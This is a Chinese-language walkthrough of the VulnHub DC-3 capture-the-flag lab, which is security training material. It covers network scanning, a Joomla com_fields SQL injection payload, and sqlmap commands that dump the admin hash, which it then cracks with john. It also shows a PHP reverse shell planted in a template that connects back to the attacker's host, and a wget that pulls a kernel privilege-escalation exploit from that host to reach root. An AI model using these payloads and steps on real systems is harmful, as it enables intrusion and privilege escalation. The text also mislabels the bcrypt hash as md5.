DC-3靶場實戰詳解
qaw由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
環境安裝
前面安裝了老版本的DC-3幾次,nmap都掃描不到機器,后來琢磨了很久也找不到問題,然后我去官網重新下載了個就沒問題了。
官網地址:https://www.vulnhub.com/entry/dc-32,312/
KALI和DC-3都用NAT模式.

DC-3需要多修改一些東西,把IDE里面的改成IDE 0:0

都完成后開啟KALI與DC-3
尋找Flag
信息收集
1.首先確認kali與DC-3所在網段
ip add
確認kali與DC-3所在網段為192.168.79.0/24網段

2.查找DC-3 ip 可以使用nmap 或者 arp-scan
方法一:
arp-scan -l
方法二:
nmap -sP 192.168.79.0/24


最終可以確認
kali :192.168.79.128
DC-3 :192.168.79.131
3.掃描DC-3開啟的服務
nmap -v -A 192.168.79.131


通過掃描可以發現 DC-3開啟了80端口 并且使用了Joomla! cms
4.訪問網站192.168.79.131

5.掃描敏感目錄看看
我這里使用的是7kbscan-WebPathBrute.1.6.2用御劍也是一樣的


找到后臺登錄網站。
因為是常見的cms,所以我們直接掃Joomla! cms常見漏洞
漏洞掃描
1.安裝onlinetool
地址 https://github.com/iceyhexman/onlinetools
我們這里kali 192.168.79.128 安教程部署就可以了
git clone https://github.com/iceyhexman/onlinetools.git cd onlinetools pip3 install -r requirements.txt nohup python3 main.py &
2.安裝完成后訪問 http://192.168.79.128:8000/

3.使用里面cms漏洞掃描

4.測試payload的有效性
payload: http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,Md5(1234)),0)

確認payload有效
5.既然是SQL注入漏洞 配合sqlmap 以及前面目錄爆破出來的后臺登錄網站,來登錄后臺
我這里使用是sqlmap windows的版本
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs //*表示注入位置 //查詢所有數據庫
得到下面5個數據庫 既然是joomla! 那我們也順其自然的查詢joomladb 數據庫


得到下面5個數據庫 既然是joomla! 那我們也順其自然的查詢joomladb 數據庫
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables //查joomladb 數據庫下面的表


一共有8 90條 有一個# _users 看樣子里面就應該有相關后臺信息
接下來查詢# _users表內的列名
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "# __users" --columns //查詢# _users表內的列名

都是一路y或者回車

確定列名 賬號密碼一般為“username,password”
獲得表中的賬號密碼
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "# __users" -C "username,password" --dump //讀取指定字段內容


獲得賬號密碼
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+
6.密碼為md5加密 可以使用kali內的john 解密
創建文件 touch admin.txt # 創建文件 vi admin.txt # 編輯 john admin.txt # 破解 ps: 因為我以前破解過使用所以顯示這個 Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) No password hashes left to crack (see FAQ) 這是以及破解過的意思 john --show admin.txt # 查看admin.txt以前破解過的結果
得到密碼為 :snoopy

得到密碼為 :snoopy
7.登錄后臺


反彈shell
通過對后臺的各種查詢,發現Extensions->Templates里面的模板可以執行PHP腳本

隨便找都可以,里面路徑都有寫

當系統沒有禁用proc_popen的時候,我們是可以借助proc_popen輕松反彈這樣的一個shell的。
$sock = fsockopen("192.168.79.128", "5555");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

之后保存訪問http://192.168.79.131/index.php
kali內使用nc 接受反彈的shell
nc -lvvp 5555

瀏覽器訪問http://192.168.79.131/index.php
可以發現kali內接收到shell

python -c "import pty;pty.spawn('/bin/bash')"
//使用python 弄交互式頁面

發現權限不夠

提權
SUID啥的都不行,于是考慮系統漏洞提權
cat /etc/*release # 查看發行版信息

cat /proc/version # 查看內核版本的全部信息

可以判斷為Ubuntu 16.04 LTS 內核為Linux 4.4.0-21
查看kali本地漏洞庫里面的exp
searchsploit Ubuntu 16.04

對應版本的幾個都試了 發現 39772.txt可以
查看exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
寫了exp地址

本地下載即可
kali好像下載不了 我本地下載 然后拉到kali里面
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

開啟apache
systemctl start apache2.service

移動39772.zip到指定的apache的目錄下
mv 39772.zip /var/www/html

瀏覽器訪問 kali IP:192.168.79.128

復制下載鏈接
http://192.168.79.128/39772.zip
回到前面的DC-3的shell中下載剛剛上傳的exp
wget http://192.168.79.128/39772.zip

解壓exp
unzip 39772.zip # 解壓39772.zip cd 39772 # 進入39772 tar -xvf exploit.tar # 解壓縮exploit.tar


進入 ebpf_mapfd_doubleput_exploit 運行exp
cd ebpf_mapfd_doubleput_exploit

運行方法 前面kali里面 cat /usr/share/exploitdb/exploits/linux/local/39772.txt 文件內寫了

運行compile.sh , doubleput即可
./compile.sh ./doubleput

等一兩分鐘就可以了

FLAG
root目錄下有flag,獲得flag
cd /root cat the-flag.txt
